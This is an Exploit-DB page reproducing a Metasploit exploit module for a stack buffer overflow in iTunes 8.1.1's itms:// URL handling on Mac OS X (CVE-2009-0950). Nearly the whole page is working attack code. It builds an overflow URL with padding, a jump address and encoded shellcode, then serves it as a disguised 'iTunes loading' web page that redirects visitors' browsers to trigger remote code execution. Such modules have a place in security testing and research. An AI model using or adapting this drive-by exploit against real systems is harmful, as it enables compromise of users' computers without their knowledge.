Apple iTunes 8.1.1 (Mac OSX) – ITms Overflow (Metasploit)

  • 作者： Metasploit
    日期： 2010-11-11
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/16296/
  • ##
# $Id: itms_overflow.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Apple OS X iTunes 8.1.1 ITMS Overflow',
			'Description'=> %q{
					This modules exploits a stack-based buffer overflow in iTunes
				itms:// URL parsing.It is accessible from the browser and
				in Safari, itms urls will be opened in iTunes automatically.
				Because iTunes is multithreaded, only vfork-based payloads should
				be used.
			},
			'Author' => [ 'Will Drewry <redpig [at] dataspill.org>' ],
			'License'=> MSF_LICENSE,
			'Version'=> '$Revision: 10998 $',
			'References' =>
				[
					[ 'CVE', '2009-0950' ],
					[ 'OSVDB', '54833' ],
					[ 'URL', 'http://support.apple.com/kb/HT3592' ],
					[ 'URL', 'http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html' ]
				],
			'Payload'=>
				{
					'Space' => 1024,# rough estimate of what browsers will pass.
					'DisableNops' => true,# don't pad out the space.
					'BadChars' => '',
					# The encoder must be URL-safe otherwise it will be automatically
					# URL encoded.
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ECX',# See the comments below
							'BufferOffset' => 3,# See the comments below
						},
				},
			'Targets'	=>
				[
					[
						'OS X',
						{
							'Platform'=> [ 'osx' ],
							'Arch'=> ARCH_X86,
							'Addr'=> 'ATe'
						},
					]
				],
			'DisclosureDate' => 'Jun 01 2009',
			'DefaultTarget'=> 0))
	end

	# Generate distribution script, which calls our payload using JavaScript.
	def generate_itms_page(p)
		# Set the base itms url.
		# itms:// or itmss:// can be used.The trailing colon is used
		# to start the attack.All data after the colon is copied to the
		# stack buffer.
		itms_base_url = "itms://:"
		itms_base_url << rand_text_alpha(268)# Fill up the real buffer
		itms_base_url << rand_text_alpha(16) # $ebx, $esi, $edi, $ebp
		itms_base_url << target['Addr']# hullo there, jmp *%ecx!
		# The first '/' in the buffer will terminate the copy to the stack buffer.
		# In addition, $ecx will be left pointing to the last 6 bytes of the heap
		# buffer containing the full URL.However, if a colon and a ? occur after
		# the value in ecx will point to that point in the heap buffer.In our
		# case, it will point to the beginning.The ! is there to make the
		# alphanumeric shellcode execute easily.(This is why we need an offset
		# of 3 in the payload).
		itms_base_url << "/:!?" # Truncate the stack buffer overflow and prep for payload
		itms_base_url << p # Wooooooo! Payload time.
		# We drop on a few extra bytes as the last few bytes can sometimes be
		# corrupted.
		itms_base_url << rand_text_alpha(4)

		# Use the pattern creator to simplify exploit creation :)
		# itms_base_url << Rex::Text.pattern_create(1024,
		# Rex::Text::DefaultPatternSets)

		# Return back an example URL.Using an iframe doesn't work with all
		# browsers, but that's easy enough to fix if you need to.
		return String(<<-EOS)
<html><head><title>iTunes loading . . .</title></head>
<body>
<script>document.location.assign("#{itms_base_url}");</script>
<p>iTunes should open automatically, but if it doesn't, click to
<a href="https://www.exploit-db.com/exploits/16296/#{itms_base_url}">continue</a>.</p>a
</body>
</html>
EOS
	end

	def on_request_uri(cli, request)
		print_status("Generating payload...")
		return unless (p = regenerate_payload(cli))
		#print_status("=> #{payload.encoded}")
		print_status("=> #{payload.encoded.length} bytes")

		print_status("Generating HTML container...")
		page = generate_itms_page(payload.encoded)
		#print_status("=> #{page}")
		print_status("Sending itms page to #{cli.peerhost}:#{cli.peerport}")

		header = { 'Content-Type' => 'text/html' }
		send_response_html(cli, page, header)
		handler(cli)
	end

end